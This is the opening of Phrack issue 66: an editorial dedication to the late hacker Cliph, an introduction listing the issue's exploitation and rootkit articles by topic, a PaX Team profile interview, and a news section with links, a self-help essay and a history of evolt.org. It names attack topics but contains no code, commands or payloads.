```
                             ==Phrack Inc.==

               Volume 0x0d, Issue 0x42, Phile #0x01 of 0x11

|=-----------------------------------------------------------------------=|
|=-------------------------=[ Introduction ]=----------------------------=|
|=-----------------------------------------------------------------------=|
|=------------------=[ By The Circle of Lost Hackers ]=------------------=|
|=-----------------------------------------------------------------------=|
```

Let's imagine a man, sitting on the Moon and looking down to this 75%-water-25%-ground Planet. He doesn't know anything about us. Neither we do about him, but that's another story, maybe another Intro.

He sees this Internet madness going on down there. He sits and watches.

"This is not different from your favourite bar", a guy behind our man says in a smile.

Down there a bunch of bar tenders provides connections to everybody. They earn their life out of that, so every so often they just scrappy down their service. There's water in my drink, sir, and there's a strange rate of packet loss on my P2P traffic. There are a bunch of gangsters: they want to control the business, they want to know who does what and they try to shut down whoever is not okay with that. We have cleaned their faces, put them on TV and we keep on calling them politicians. Good luck with your laws, we'll find our way out, somehow. There are beautiful girls, there are married couples, there are young guys, there are usual and occasional customers. Everybody is down there, everybody has his own chance to tell his story. If you're getting to this bar for the first time, you might spot some guys that are just different. You can't say why, but there's something. It doesn't matter if they are married, young, old, musicians, workers, even bartenders, this is just the outside. There's another life, behind that, it's now so-damn-clear that they're just trying to keep a balance with it.

"You used to be one of them, didn't you ?"

Our man-on-the-moon asks, looking at the guy. But there's no need of an answer, he is just different. You can't say why, but there's something. Somebody once told me that Heaven is on the Moon.

"What's your name again ?"
"Cliph."

[I don't know in what you believe or even if you believe. In the end, it doesn't really matter. This is not a story about science or religion or humanity, this is a Good-Bye. To a friend..]

-----[Phrack Issue #66

Welcome to Phrack, by the community, for the community.

Its with an incredible pleasure that we present you our newly released issue :

Phrack Magazine #66

For this release, we are gracious to be interviewing the PaX Team, whose work has made significant evolutionary and revolutionary advances in security. This is a radical change from the Phrack Prophile in issue #65 where the prophile was about the UNIX terrorist.

Some could easily detect in this shift a certain seek for identity from the Phrack staff. As if the identity of Phrack had to be refined at all.

In the previous prophile, we had interviewed probably the most hated "black hat" hacker, and in the current prophile, the most hated "white hat" hacker. Perceived as such. But the reality is more faded and every hacker has this paradoxical identity where each side of the barrier suddenly become very familiar to the other. And this is where the great hacker shall remain.

Phrack keeps its identity. A magazine for all hackers, by all hackers.

The Hacker culture.

To the very firsts who don't believe in the virtue of the Underground, I answer:

Kill the underground, you won't kill the Hacker culture.

We are mourning one of the best hackers of recent time today. His spirit and contributions will remain part of the Hacker culture. We dedicate this issue of Phrack to Cliph, who left us really too early this year. Cliph did influence all kernel exploit writers in the last 5+ years with his advances on exploiting the Linux kernel.

----------[Phrack Issue #66 : what you were waiting for

We have the great pleasure to release today another excellent selection of the best Hacking articles this year. An issue full of new exploitation techniques and ground work on writing attack software.

[-]===[-]

[-]===[-]

This issue has some evil number.. with a lot of evil content. Phrack proves once more how we can, every year, push the state of the art further its known limits. Some of these exploits articles are really innovative and we are proud to be able to release those contributions in our columns. Some others bring their values on different architectures. So, check out how to attack the Objective C runtime, the latest Linux heap allocator, the FreeBSD kernel heap management system. A special paper is the one of Black about explaining and giving more insights and code on the groundbreaking work previously released as the Malloc Maleficarum technique(s). Black did rework his article quite a lot since the first version he did, and we were impressed by the evolution. This will certainly help the younger audience to persevere in the realm of heap overflow exploitation in the most recent restrictive heap management implementations on Linux. We also have articles on alphanumeric ARM shellcode (long standing work) and exploiting the PowerCell architecture. Thats indeed a lot of exploitation.

Beside exploit writing, we propose to you a couple of rootkits papers. Graeme shared his experience on backdooring Jupiner firewalls : check out the article for all details. Our friends from Argentina finished their stub just before the release and we could integrate their very first article about persistent BIOS infection. Other advances at the lowest level are also presented by the article of Core collapse, where he demonstrates how to make use of the System Management Mode interrupts in a real SMM rootkit. For more intermediate hackers of the OsX world, a nice state of the art article on OsX backdoors are given is the end of the issue, as an easy read. Its always good to have this kind of code ready to be used when you need it.

Finally, as it always happen in Phrack, we have those articles that don't match with the others. This is the case of our single reverse engineering article in this issue, presenting the RADARE framework. RADARE is really an interesting tool, and some of its features are better explained with a tutorial like this one. Check out the RADARE website for a more complete documentation and to grab the latest code. Pancake and the RADARE team are always committing new stuffs in there and the list of supported features is impressive, and the scripting language really flexible and expressive for low level operations on binary files.

Another special article is the one of Ithilgore about exploiting weakness in the TCP protocol. This is a great article, an innovative work we would like to see more often proposed for publication in Phrack. We still don't realize entirely how far Phrack is breaking through by providing all those technical details about the most alternative techniques.

We were previously talking of PaX and evolutionary changes, we have an article discussing kernel heap security, and how it can be made more resistant to attack. It has been rare to find mitigation articles in Phrack, but its not the first time this has happen, nor will it be the last. Sometimes, mitigation articles also contains some useful information for the exploit writer. Sometimes, offensive articles also contains some useful information for defense purposes.

Finish up your mind by reading the paper on Hacking your Brain, a refreshing cyberpunk inspired work by Dahut.

In the hope that your neural plugs were not wired in vain.

  - The Phrack staff

--------[Greets for issue #66

We'd like to thank (in no particular order):

- PaX team
- Graeme
- nemo
- Huku
- .aLS
- Alfredo
- argp
- karl
- Ithilgore
- blackngel
- core collapse
- Y.Younan
- P.Philippaerts
- BSDaemon
- pancake
- Larry H.
- Wowie
- Ghalen
- Dahut

for their contributions. Without them, this issue would not be as good as it is.

If you see something that you would like covered, but is not / has not been recently, do some research and send us an article. Have you came up with a better mouse trap? Share it with the world. Phrack lives via the contributions made by the community.

Hasta luego, Phrack para siempre.

```
[-]=======================================================================[-]
```

```
|=-----------=[ C O N T A C T   P H R A C K   M A G A Z I N E ]=---------=|

Editors           : circle[at]phrack{dot}org
Submissions       : circle[at]phrack{dot}org
Commentary        : loopback[@]phrack{dot}org
Phrack World News : pwn[at]phrack{dot}org

|=-----------------------------------------------------------------------=|
```

Submissions may be encrypted with the following PGP key:
(Hint: Always use the PGP key from the latest issue)

```
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v2.0.10 (GNU/Linux)

mQGiBEovYLgRBAD0+0JIMKclm1uY6gJMCxwSt4yOudXAktNKGfbpCFIUn/P/gacR
teZUAp3T/0t2bpWLw5tKSfSKFk9i6LainHZqCXpB8NHhBXws6dH4uk06tf9LAFbQ
scabxp2+qgKHEP6r15pzSKVqXCTy/fXzTweYUkwz3If2QkikHXrMnAKdHwCgpMlL
FuK2e+z3tJdWPh7ORdt1/EUD/AnIshYeOvcUQ3VxOqD66M/E7hDoptYTrjYsUG67
3XF7jwXvghEnPg4dWv4B2obkMS7kRdDnsHdngqk683IhC6nHRDc59odwit+eor/J
Q86rqw5YhFwqbknL5bYgnNH6GxL6maqaXZ9bAJZdbNoZqdkFOVc6Qr2NqTzgNyLS
DeXcA/9fksLr7slsMk0ZXaRhJY3RlmKYbuQZDFBoO6yhLfX1YJxtT8vvJ75gYFiz
jNYfvmUvYr4TwMt5DLSIN1EQ3nC7qv+zEuV0BYPiHBIkldmxgOyQ67ysWlTTCTAa
RNQnxludOcp+maC+zOK4RYbWw5x+TlbxKiaOuMjhEm4DYs+MNLRHVENMSCAtIFRo
ZSBQaHJhY2sgU3RhZmYgKFBocmFjayBzdGFmZiAyMDA5IEdQRyBLZXkpIDxjaXJj
bGVAcGhyYWNrLm9yZz6IYAQTEQIAIAUCSi9guAIbAwYLCQgHAwIEFQIIAwQWAgMB
Ah4BAheAAAoJEJp0US5OshGiO/gAn0We2iWa2uzBnnA1IMDII/6YSK8DAJ9o+ozl
OmM7bkkRnx6Ga1iEUL2aqbkCDQRKL2C4EAgA6kEGtB0jw/HkU0jmDJug4IkUWMN/
8LdZNCUK5SvPNw+lTiv647OiSyhuCVnIED5ubJLovG49tYLIDmawiPDP1kQCCxBn
0yfpJHeDtPHO0w5St5F54PYCAClwyp8PHRUXEpN2oHMa8CvvzlG8OUR9ycdlMrM1
VzkJWNeoQ0axjTpg6Bmw+uLCwpOEZTGD8QiBrXqRo80qdy2s7tUybzFbhse9TFkE
0kJ7QQ6o1LcMm8Xhfs+kNZemFt5srY+kjbQxyCOk38atncvs4aEUCUhgDIeoJjSp
Xxbi5fNx2JT18It3TDYjxDnYGDAfMes+IRFW4Db92jQ9X/koKSwoJLoNdwADBQf/
RqYZda5tUyOYS7ZyEKnYYG7EF919NOAz1UMHpkVtdOA6e2Dc3pBFTWJ9jUgNVpMr
lMG5dAKjga61udVBTMyObnpYhXv0BpLM/GJ2QRZ8Ys16Lbyg+Kb7uQ09M1lTSf8r
3CEd2Ue+Ll67SIb86CrcOZD84VQDWvsfaRaL51P6jAsQEjMamGcU7dwm0AvuiA4I
49IxHYqUlnEd+jDPIws63LvHRj5gm78bmYwru6lxSNEFK91ImEd/FZrNMQL3wX63
C5vviEWjJDPAEyp9wnKQcrmNvlF6B0VT8UPM/WT78EDZXNqUplMd6h0ymYCZV7xG
OLJuVHoWLExmN8WpQMaSyYhJBBgRAgAJBQJKL2C4AhsMAAoJEJp0US5OshGi+QoA
n0/wQqewpYDny3kFv7QwiB74xTR5AKCbBdNdO5mCbS6Mrzb/LZaqFVUkWg==
=yFr3
-----END PGP PUBLIC KEY BLOCK-----
```

--------[EOF

==Phrack Inc.==

Volume 0x0d, Issue 0x42, Phile #0x02 of 0x11

```
|=-----------------------------------------------------------------------=|
|=------------------------=[ PHRACK PROPHILE ON ]=-----------------------=|
|=-----------------------------------------------------------------------=|
|=------------------------------=[ pipacs ]=-----------------------------=|
|=-----------------------------------------------------------------------=|
```

|=---=[Specifications

Handle:	pipacs
AKA:	PaX Team
Handle origin:	your pick between P. Howard and images.google.com :)
Produced in:	.hu
Urlz:	pax.grsecurity.net
Computers:	always a generation behind...
Creator of:	PaX
Member of:	PaX Team :)
Projects:	PaX
Codez:	ntid
Active since:	15+ years
Inactive since:	past few years

|=---=[Favorites

Actors:	Chaplin
Films:	Versus
Authors:	Gurdjieff
Books:	Fire from within
Novel:	Jonathan Livingston Seagull
Meeting:	eclipse'99
Music:	Radioaktivitaet, The light of the spirit
Alcohol:	long island iced tea
Cars:	Maserati
Foods:	anything but 4 legs
I like:	good beer & wine
I dislike:	all that bitter 'beer' down under :P

|=---=[Your current life in a paragraph

Working on some PHP/.net/js stuff for a SaaS startup, and generally tired of everything security related. Fortunately there's life beyond that :).

|=---=[First contact with computers

Despite the early 80's behind the iron curtain and COCOM restrictions, I somehow managed to get my hands on an ABC-80 during a summer camp. It was Z-80 and BASIC, but one had to start somewhere ;). Afterwards came a ZX-81, a Spectrum, etc, the usual stuff in those days.

|=---=[Passions : What makes you tick

Unsolved problems. Unsolvable problems.

|=---=[Entrance in the underground

I'm not sure I was ever part of the underground but let's just say that many of the smart people I met in the mid-90's would later end up in computer security as a necessary outgrowth of skills they acquired in reverse engineering. To me they're still the friends of 10+ years and there's nothing particular about being part of the underground (ok, did i successfully ditch the question? :).

|=---=[Which research have you done or which one gave you the most fun?

It’s of course PaX, especially some 6 years ago when spender and me were porting it to new CPUs while solving unsolvable problems (where’s that NX bit on ppc32 again? :).

|=---=[How you got started on low-level concepts?

In the ZX Spectrum days I wanted to stop the clock in some game, so there I was learning Z-80 assembly and finding that pesky dec (hl). From then on it was lots of assembly coding for the Spectrum (still proud of my own turbo loader after all these years :) then later the Amiga (m68k) and finally the PC.

Interestingly, I really hated the PC (x86) after the m68k but when I had to clean up after a virus infection (the first and only one I ever got :), I finally gave in and learned x86 as well and began to reverse engineer more stuff, particularly exe packers (ever since that virus incident I still have the habit of unpacking and looking at everything first). That then led to a never ending cat&mouse game between debuggers and anti-debugging techniques, so I had to eventually reverse engineer and fix my choice of a debugger, SoftICE. That was a major undertaking in hindsight but it taught me a lot about CPU details that proved very useful in later years.

|=---=[Thoughts on future of security enhancements?

I think we’ll see more of them as now there’s very serious push in the commercial sector (mostly due to Microsoft) to research and develop practically useful techniques. There will be more tool chain enhancements and also more kernel and hypervisor level work to lock down various parts of the software stack and also to provide some level of self-protection.

There will also be more work towards hardening parts of the client side userland that is both powerful and most exposed to attacks. Think web browsers, media players, etc, that all implement some form of programmable engines which represent the same kind of problems as runtime code generation (shellcode) did in the previous decades, just at a higher abstraction level. Whether techniques developed so far will be adaptable or not is an open question, but this problem needs to be addressed soon.

|=---=[Short history of PaX?

At around the time when the Y2K panic was settling down I got into a startup to develop a HIPS for windows. That didn’t work out in the end for several reasons, but the idea stuck into my head and while enjoying the summer between two jobs, I somehow remembered what I had read about a year ago on IA-32 TLB hacking and I was set on the path. I talked to a few friends about it and we decided to do a windows version as that’s what we were familiar with (speaking of kernel internals). This is also the reason for the ’team’ in the name, even if the other guys dropped out soon afterwards to pursue other interests.

The summer passed and I got a new job where linux was everywhere and one October weekend I sat down and figured I’d give it a try. Turned out that the first cut wasn’t that hard and I was surprised that the new kernel booted without a hitch and worked as expected.

Then came public disclosure day, something I had debated for some time but decided I wasn’t going to go down the patent road. I still think it was the right decision, even if many people thought and still think I was a bit crazy to let this out for free :).

The following years saw slow but steady development of various ideas, limited by my free time, (un)fortunately (depending on which side of the fence you are :). For a more precise timeline just look at the wikipedia article, I think my years spent in (sometimes voluntary) unemployment will clearly stand out :).

|=---=[What future things are planned for PaX?

I wish I could just even list them :), but having looked at my to-do list it seems I've got enough work left to fill more than a lifetime.

So without any particular preference, here's a few ideas that I hope I can implement one of these days:

Ret2libc prevention: this is something I'd written about 6 years ago but never got to implement it, and somewhat shamefully, the world at large failed to as well (save for MSR's Gleipnir project perhaps). I mean, all the effort people spent in the last decade on propolice/ssp could have equally been spent on solving this much more relevant and important problem...

Kernel self-protection: the goal here is to solve the somewhat unsolvable problem of the kernel protecting itself from its own bugs. What is or isn't possible is something you'll have to wait and see :).

More arch support: it would be nice if more CPU specific features could be ported to other archs beyond x86, in particular ARM (android, mobile phones) and MIPS (network gear) really need all the protection they can get.

Virtualization support: whether it's a good idea or not from a security point of view, virtualization is here to stay and unfortunately quite a few of the existing kernel self-protection features are hard to handle in those environments. I'm not yet sure what concessions can be made here...

|=---=[Personal general opinion about the underground

I don't know much about it given how many years ago I lost most of my interest in computer security, but I can't help but note that the barrier of entry is set a lot higher than in the previous century. Couple that with vested new interests (both commercial, governmental and criminal, with unclear boundaries at times :P) in siphoning off all the knowledge and people in security and I can see no bright future for the kind of underground that there was before...

I just hope that the spirit of not taking anything at face value, looking behind and beyond of what is already known will not die out in the younger generations and some of them will keep their independence for long enough to nurture underground outlets as this one :).

|=---=[Memorable Experiences

Meeting the internet in the early 90's when the whole country was connected on a 9.6 kbps line to Vienna.

Downloading IDA 2.x in '94 and not knowing what to do with it at first (anyone remembers ReSource on the Amiga? :).

Playing with SMM back in 1998, I keep wondering when Probe Mode gets 'discovered' and hyped up as well :).

Eclipse'99.

That ADMcon.

Being told by several native (english) speakers that I have a french accent :P.

Seeing the AMD 'anti virus protection' ad on the London tube in the summer of 2004 and realizing I may have had something to do with it.

2005, vomatron with a prince of Sri Lanka, you can blame PaX on him too.

BAcon 06, the first and original one.

Padocon.

Teaching half the world to pronounce ege’szse’getekre (blame the lack of proper accents on Phrack mandated ASCII :P).

Having to endure snoring from all kinds of people :).

|=---=[Memorable people you have met

People who worked on icedump.
The wonderful team of Q.
People who helped with PaX.
The Padocon folks who got a tad bit drunk on palinka.

|=---=[Memorable places you have been

All over the world except Antarctica.

|=---=[Things you are proud of

Reverse engineering SoftICE to the point that some NuMega folks reportedly thought their src got stolen or something.

Learning amd64 and porting a pure asm kernel driver to XP 64 RC and reverse engineering and circumventing PatchGuard (a year before Uninformed had published anything on it) all in 4 weeks while also handling an lkml flamewar and being jetlagged down under...

|=---=[Things you are not proud of

Some would say it’s all the things I’m proud of :).

Oh, and sorry for having held up this release, but life’s just too busy...

|=---=[Opinion about security conferences

Too much hype over too little content. But then there’re exceptions.

Fortunately most are organized enough that presentations are available online with many academic confs being the exception, shame on them. Nevertheless, it seems that I still managed to collect over 16 GB of (security) conference material over the years so I guess the situation is not that bad. I wish I had time to read all that though :).

|=---=[Opinion on Phrack Magazine 1985’ ? 1995’ ? 2005’ ? ’2009 ?

1985: I wish we had had a phone line to begin with :)
1995: the days when gopher was being taken over by http, and no encryption in sight... anyway, I think p47 was the first issue I got my hands on, and I didn’t find it too interesting at the time, sorry :)
2005: that’d be p63 I guess (your version, that is :), a whole lot more stuff, and finally beyond the 100th how-to-backdoor-linux kind of article
2009: I have yet to see, it didn’t leak so far (kudos for the new team :)

|=---=[What you would like to see published in Phrack ?

More hardware related hacking, there’re way too many gizmos out there these days to be ignored...

More specific uses of computers, such as aviation, space, astronomy, particle physics, etc. There must be interesting things hiding there.

More food-for-thought kind of articles, it's somehow got neglected...

|=---=[Shoutouts to specific (group of) peoples

The old folks from UCF and other groups, all the Q people and those I met through them, and basically everyone I drank a beer with :).

|=---=[Flames to specific (group of) peoples

It's all in the search engines already, for the better or worse :).

|=---=[Quotes

On some sunny day in July 2002 (t: Theo de Raadt):

```
<cloder> why can't you just randomize the base
<cloder> that's what PaX does
<t> You've not been paying attention to what art's saying, or you don't
    understand yet, either case is one of think it through yourself.
<cloder> whatever
```

Only to see poetic justice in August 2003 (ttt: Theo again):

```
<miod> more exactly, we heard of pax when they started bitching
<ttt> miod, that was very well spoken.
```

More recently, a student contemplating doing research related to PaX/grsecurity:

```
<xxx> So Dr. Spafford essentially told me that it's better to work on something
      simpler than to try to do research that will save the world
```

|=---=[Anything more you want to say

While most of the readers are undoubtedly living a computer dominated life, let me remind everyone that you can't have beer over the internet. So go get out sometimes and maybe even invite the neighbour over. For this is what builds real relationships, not electronic substitutes.

--------[EOF

```
                              ==Phrack Inc.==

               Volume 0x0d, Issue 0x42, Phile #0x03 of 0x11

|=--------------------------------------------------------------------=|
|=-----------------------=[ Phrack World News]=-----------------------=|
|=----------------------------=[ by TCLH ]=---------------------------=|
|=--------------------------------------------------------------------=|
```

The Circle of Lost Hackers is looking for any kind of news related to security, hacking, conference report, philosophy, psychology, surrealism, new technologies, space war, spying systems, information warfare, secret societies, ... anything interesting! It could be a simple news with just an URL, a short text or a long text. Feel free to send us your news.

We didn’t get any news from the Underground since our last phrack issue, it means that one more time all the news reports are coming from friends of our’s.

It would be good if people who claim themself "underground" would send us their news...

Is our underground dead? (apparently yes...)

1. Speedy Gonzales news
2. Hacker hack thyself
3. Evolt.org Marks a Decade

```
--------------------------------------------
```

--[1.

```
 _____                    _       
/  ___|                  | |      
\ `--. _ __   ___  ___  __| |_   _ 
 `--. \ ’_ \ / _ \/ _ \/ _` | | | |
/\__/ / |_) |  __/  __/ (_| | |_| |
\____/| .__/ \___|\___|\__,_|\__, |
      | |                     __/ |
      |_|                    |___/ 
 _____                       _           
|  __ \                     | |          
| |  \/ ___  _ __  ______ _| | ___  ___ 
| | __ / _ \| ’_ \|_  / _` | |/ _ \/ __|
| |_\ \ (_) | | | |/ / (_| | |  __/\__ \
 \____/\___/|_| |_/___\__,_|_|\___||___/
 _   _                   
| \ | |                  
|  \| | _____      _____ 
| . ` |/ _ \ \ /\ / / __|
| |\  |  __/\ V  V /\__ \
\_| \_/\___| \_/\_/ |___/
```

*-[Phrack 64 0x11 is about the french scene and not a sellout conference...]-

http://www.frhack.org/history.html

*-[Promise, we are safe...]-

http://www.opednews.com/articles/1/US-Spying--Main-Core-PRO-by-Ed-Encho-090202-224.html

*-[Is the Pentagone secure?]-

http://online.wsj.com/article/SB124027491029837401.html

*-[Finally, someone is reasonable...]-

http://www.securityfocus.com/blogs/1908

*-[Because we love it]-

http://cryptome.org/

*-[Silvio is back in the business]-

http://silviocesare.wordpress.com/
http://silvio.cesare.googlepages.com/

*-[Because it is funny]-

http://www.encyclopediadramatica.com/index.php/The_Unix_Terrorist
http://www.encyclopediadramatica.com/GOBBLES
http://www.encyclopediadramatica.com/N3td3v

*-[They should know everyone is working for Phrack]-

http://archives.neohapsis.com/archives/fulldisclosure/2009-01/0324.html

*-[Ten years late...]-

http://www.dtors.org/papers/malicious-code-injection-via-dev-mem.pdf

*-[Fedwire Funds Transfer System]-

http://www.federalreserve.gov/paymentsystems/coreprinciples/coreprinciples.pdf
www.ists.dartmouth.edu/library/216.pdf
http://www.fedwiredirectory.frb.org/search.cfm

--[2. "Hacker Hack Thyself"]--
        by Kartikeya Putra <alienbaby@freaknetwork.in>

"All human beings, all persons who reach adulthood in the world today are programmed biocomputers. None of us can escape our own nature as programmable entities. Literally, each of us may be our programs, nothing more, nothing less."

-- John C. Lilly, Programming and Metaprogramming in the Human Biocomputer

In the early 1970's, during the early days of Artificial Intelligence research, scientists from the fields of psychology and computer science came together to try to develop a new model of how the mind works. Their efforts eventually resulted in the discipline now known as Cognitive Science. One of the more significant books to come out of this early collaborative effort was called Scripts, Plans, Goals and Understanding by Roger Schank and Robert Abelson, which is still used by psychologists today to support what's called the Information Processing Model of human cognition. I'd suggest that anyone with a serious interest in reverse engineering themselves should hunt down a used copy of this out-of-print book (try bookfinder.com, or your local library). In it, the authors suggest that human thought is based on a set of scripts (programs) for meeting personal goals in different situations. The example they use throughout the book is a "Restaurant Script" that tells people how to behave when eating out in public, in order to meet the goal of getting fed. What would you do if you ordered a hamburger and the waitress brought you a hot dog? Your scripts tell you how to handle this situation, what to do when the bill comes, and how to handle all the other transactions that take place in the restaurant environment.

Scripts People Live by Claude Steiner is a book about a form of pop-psychology called Transactional Analysis. Here the author talks about how everyone has a sort of running "life script" which is basically the story of your own life as you like to tell it. Inside this script there are recurring roles that are often learned in childhood, which inform us how people are supposed to behave. I doubt that anyone ever reaches adulthood with a completely accurate script of their own life story -- but if you can become conscious of your script, it’s possible to start improving it and improving the way you write it as you go along.

Some of our most basic programming concerns what it means to be "good" or "bad." When parents, teachers and other authorities are training us how to be "good," often this has very little to do with doing what is right and is more about training us to behave in ways that are convenient for them. Today the task of programming "reality" has substantially been taken over by television, which is like a mindcontrol device that sits in the living room, hypnotizing a legion of glassy-eyed zombies. It is sponsored by corporations who are not concerned with anything except selling their products. In one of my favorite commercials on TV right now, this blonde dude -- who looks to me like he knows he is about to become a complete tool -- holds up a McDonald’s chicken sandwich and proclaims, "Let’s hear it for nonconformity!" Are you kidding me? It’s so phony it’s almost avant garde. Andy Warhol would love it -- I find it disturbing. I know that there must be a lot of people out there who don’t see anything wrong with this ad -- and others who even buy into it, who think that eating a chicken sandwich for breakfast really is "revolutionary."

When we were teenagers, some of us correctly perceived the system as a hypocritical crock of shit and said, "screw this, I’m out of here." As an adult with a little perspective now I can see that there’s nothing wrong with wanting to do your own thing, but rebellion against the system is still a part of it. Maybe we found a peer group who claimed to represent "the resistence," the anti-system -- but it’s a trick, the anti-system is still part of the system. By joining it you think you are becoming free, but it’s just a trick. As an "outsider," if you break laws or do things that hurt yourself or others, you’re just playing in to the role the system wants you to play -- you’re doing exactly what you are supposed to do as an "outsider." The anti-system system is there because they need "bad guys," so that they can play the "good guys" in comparison. If you are good and not one of them, the whole system collapses. That is revolutionary!

The foundation on which this whole sado-masochistic world system is erected is the perception of yourself as a victim. A lot of people are starting to figure this out, and when that number reaches a certain tipping point it is going to alter the structure of the matrix. Seeing yourself as the world’s victim is profoundly disempowering and keeps you locked in a cycle of self-created pain and misery. We break free from this cycle by making a conscious decision to accept complete responsibility for our own reality. Get a copy of The Anger Habit Workbook by Carl Semmelroth and study it like a bible. Drs. Barry and Janae Weinhold have an excellent series of six e-books titled Breaking Free From the Matrix. There are a lot of wonderful books out there to help us take control of our minds and emotions and break free from the matrix of social power -- find them, and free your mind.

```
-[ 3. Evolt.org Marks a Decade ]-
             by mstrix

:: 1998      ::  ORIGINS
:: 1998-2000 ::  RAPID GROWTH
:: 2000-2002 ::  GROWING FLAMES
:: 2003-2005 ::  SEEKING BALANCE
```

> The internet is the most reliable machine ever made.
> It’s made from imperfect, unreliable parts, connected
> together, to make the most reliable thing we have."
> - Kevin Kelly, Wired founder

Evolt.org is a world community for web developers and other internet professionals. We host discussion lists, publish articles on our website, and maintain a browser archive offering downloads of everything from Mosaic to Flock. From the beginning, our community has been international, anarchistic, and volunteer-run. If there is one thing that makes us stand out from other web development organizations, it has been our long-term focus on cultivating community. Yet as much as we have worked together, evolt.org’s history is marked by heated turf battles interspersed with periods of inertia. We have struggled for years to find a balance between process, production, leadership and decentralization, while steadfastly maintaining our ideals and integrity. On December 14, 2008, evolt.org turns ten years old.

This is the story of our first decade, from the perspective of someone who has been a part of evolt.org since the early days.

+-+-+-+-+-+-+-

1998 : ORIGINS

+-+-+-+-+-+-+-

Evolt.org began as a 1998 copyright dispute between Wired Digital’s Webmonkey and some members of Webmonkey’s web dev discussion list, monkeyjunkies. The high-volume list had been operating since 1997. Active monkeyjunkies members wanted an online list archive, so they could search for and reference past posts, but Wired (who had recently been purchased by Lycos) did not provide one. When one member, Dan Cody, as a service to fellow list members, published his own archive of the list, Wired’s attorneys ordered him to stop, explaining they were reserving their rights to the list posts. Wired further explained that they hoped to post the archives at a later date, and include banner ads. A number of the community raised a protest, and on December 14, about thirty people from the monkeyjunkies community left Webmonkey to form their own community-run list, and later, website, evolt.org.

Evolt.org was both an emulation of, and a response to, Wired Digital and Webmonkey. Pre-Lycos Webmonkey featured a regular staff of writers and web developers living and working in San Francisco, California, producing articles that were both informative and humorous. Silly analogies and crazy story lines made tech tutorials entertaining and accessible. Advertising was always prominent; in fact, Wired founder Kevin Kelly, has said that Wired "co-invented the banner ad." Monkeyjunkies, the mailing list, almost seemed an afterthought, bolstered no doubt by the magnetic draw of the groundbreaking sites with which it was associated.

Evolt.org began not with a website, nor with an organizational structure, but with thelist, a general web development list, in the vein of monkeyjunkies, but non-corporate, non-commercial, and archived online. Some of the original evolters had internet community experience going back to usenet, and more than anything, it was the idea of creating an online "community" to which they were drawn, and the idea that web developers could assist each other, peer to peer, on a worldwide basis.

In addition to the attention paid to a community-oriented model, evolt.org distinguished themselves from Wired and other corporate web development sites by eschewing advertising. Finally, evolt.org would not claim copyright on anything written by any of its contributors, beyond what is granted by the contributor when he or she publishes on an evolt.org list or site. In the spirit of open source, we were, and are, "a world community for web developers, promoting the mutual free exchange of ideas, skills and experiences."

+-+-+-+-+-+-+-+-+-+-+-+-
1998-2000 : RAPID GROWTH
+-+-+-+-+-+-+-+-+-+-+-+-

Evolt.org members organized themselves entirely through email at first, with direction taking place on the admin list, which was archived, but closed to all but admins.

Our main web development list, thelist, was up and running by early 1999, and by June we were also running a content-managed site to which members could submit, rate, and comment on articles posted into several "centers" or web development categories. Adrian Roselli offered his personal collection of browsers, and thus browsers.evolt.org was born. The admin group maintained systems, managed development, and acted as editors, still with no formalized structure. Some members would gather to code the CMS and other applications at codefests. Later we would gather for purely social purposes as well (aka "beervolts.") Admins worked hard at everything from evangelizing to coding to creating content. List and site traffic grew rapidly.

+-+-+-+-+-+-+-+-+-+-+-+-+-+-
2000-2002 : GROWING FLAMES
+-+-+-+-+-+-+-+-+-+-+-+-+-+-

In early 2000, Webmonkey experienced an exodus of editorial staff, and later that year, monkeyjunkies shut down, with scores of displaced "monkeys" moving to evolt.org’s thelist. Things were going great for evolt.org.

We tended to organize ourselves by list. After thelist was well-established, thechat began in 2001 as a place to chat about anything that was neither related to evolt.org or the web development business: "imagine yourself round a table in a pub." Admins continued to communicate with each other via a closed list. In late 2000 admin began a new list for issues specific to the website. This new list, thesite, was open to all interested evolt.org members.

In early 2001, about a dozen the evolt.org admin group gathered at the SXSW interactive conference in Austin, Texas. The group included members from both US coasts, the midwest, Texas, the UK, and Iceland. It was cozy, with a dozen of us sharing two hotel rooms. And it was at this time that we began to attempt to organize ourselves into something resembling a traditional non-profit organization. We elected a board of directors; Dan Cody was elected chairman.

Shortly thereafter, the admin group broke out into a series of power struggles.

While we had been able to do a certain amount of big-picture planning in Austin, it was difficult to keep track of things once we had spread out again. We were still communicating mostly by email (on- and off- lists), by phone, and occasionally by IRC chat (a challenge, since we were spread over so many timezones worldwide), with rare face-to-face meet-ups as folks were able. However we ran repeatedly into walls, since we all came from different cultures, we weren’t all always the best communicators, and our vision wasn’t always consistent. Trying to make a motion and vote on it was an often cumbersome (and sometimes divisive) practice.

As 2001 drew to a close, the evolt.org admin community had many challenges to face, not the least of which was "process." How do you govern yourselves when you are unable to sustain a traditional organizational structure, and when can’t meet face to face?

In early 2002 the organization learned that Dan was personally supporting evolt.org’s site and high-bandwidth browser archive at the rate of $1000 a month. Many were concerned because evolt.org wanted to be able to survive as an organization regardless of whether any one member were available to shoulder his or her portion of the load. Long term survival of the organization became a key concern, known in shorthand as "the bus question." If any one of us were hit by a bus, how would the rest of us make it? Unfortunately, the ongoing discussion around power and leadership issues caused such a rift in the admin group that Dan Cody, our first and last official leader, resigned in May 2002.

Remaining members continued to struggle with organizational and financial issues. By this point, several of those elected in Austin had resigned posts for one reason or another. For the rest, it seemed that the offices held no real meaning in the context of evolt.org.

In search of order, we divided ourselves into committees, and continued attempting to establish voting and other processes. The closed admin list dissolved, and long-term planning moved to newer openly-archived list called "theforum." Seeking order, we hoped to solve some of the boundary and accountability issues that had led to the fracturing of the community. Yet the quest for process and organization itself became frustrating to many, because it often seemed like the majority of our energy was being spent on process and power issues rather than on achievement and moving forward as a group. At the same time, world events from the dot com crash to 9/11 to the 2003 US-led invasion of Iraq fueled emotional responses to exisiting tensions. Once thriving, thechat erupted in flames, then slowed down considerably.

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

2003-2005 : SEEKING BALANCE

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

By 2003, evolt.org had over 3,000 members subscribed to thelist. We continued to maintain the browser archive, and a community web resource directory, and for the past year and a half, had been offering all our members free web hosting as well. We still had essentially no budget, though by this point fundraising had become a serious focus. In 2003 evolt.org stopped offering free webhosting, and we finally allowed some google ads to be placed on our browser archive in order to help pay for our hosting costs.

